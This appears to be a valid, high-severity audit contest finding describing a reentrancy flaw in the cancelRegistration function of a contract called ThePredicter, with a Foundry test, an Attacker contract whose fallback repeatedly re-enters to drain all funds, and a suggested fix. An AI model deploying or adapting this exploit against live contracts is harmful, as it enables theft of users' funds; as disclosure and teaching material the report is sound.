Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The `cancelRegistration` function in `ThePredicter` Contract contains a potential reentrancy vulnerability.

Summary

The cancelRegistration function in ThePredicter Contract contains a potential reentrancy vulnerability. This vulnerability allows an attacker to repeatedly call the function and drain the contract balance by exploiting the order of Logic in the function, leading to a significant financial loss for the contract.

Vulnerability Details

This statement msg.sender.call{value: entranceFee}("") transfers Ether to the caller.
If the caller is a contract with a fallback function, this fallback function can call cancelRegistration again before the initial call completes.
Since the status is updated only after the Ether is sent, the fallback function can repeatedly call cancelRegistration and receive multiple transfers of entranceFee.till it drain the contract's Balance.

  • Exploit Scenario

    1. An attacker deploys a malicious contract with a fallback function that calls cancelRegistration.

    2. The attacker registers with the vulnerable contract and then calls cancelRegistration to initiate the withdrawal.

    3. The fallback function in the attacker's contract reenters cancelRegistration before the status update.

    4. This loop continues until the contract's balance is drained.

  • POC (use this code in ThePredicter.test.sol)

function test_registrationReentrant() public {
vm.deal(address(thePredicter), 3e18);
Attacker attacker = new Attacker(address(thePredicter));
vm.deal(address(attacker), 1e18);
//Tracking Balances Before Attack
uint256 attackerStartingBalance = address(attacker).balance; //1e18
uint256 thePredicterStartingBalance = address(thePredicter).balance; //3e18
attacker.attack();
// Tracking Balances After Attack
uint256 attackerEndingBalance = address(attacker).balance; //4e18
uint256 thePredicterEndingBalance = address(thePredicter).balance; //0
assertEq(attackerEndingBalance, attackerStartingBalance + thePredicterStartingBalance);
assertEq(thePredicterEndingBalance, 0);
}
contract Attacker {
ThePredicter thePredicter;
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
function attack() public {
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance > 0) {
thePredicter.cancelRegistration();
}
}
}

Impact

  • The reentrancy vulnerability in the cancelRegistration function can have severe financial consequences, including:

  1. Drain Contract Balance: An attacker can repeatedly withdraw the entranceFee amount, draining the contract's balance.

  2. Disruption of Service: Legitimate users may be unable to interact with the contract as intended, leading to loss of trust and potential legal issues.

Tools Used

Manual Review

Recommendations

  1. Use OZ ReentrancyGuard

  2. Follow CEI Pattern as Following

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
+ playersStatus[msg.sender] = Status.Canceled;
+ (bool success,) = msg.sender.call{value: entranceFee}("");
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.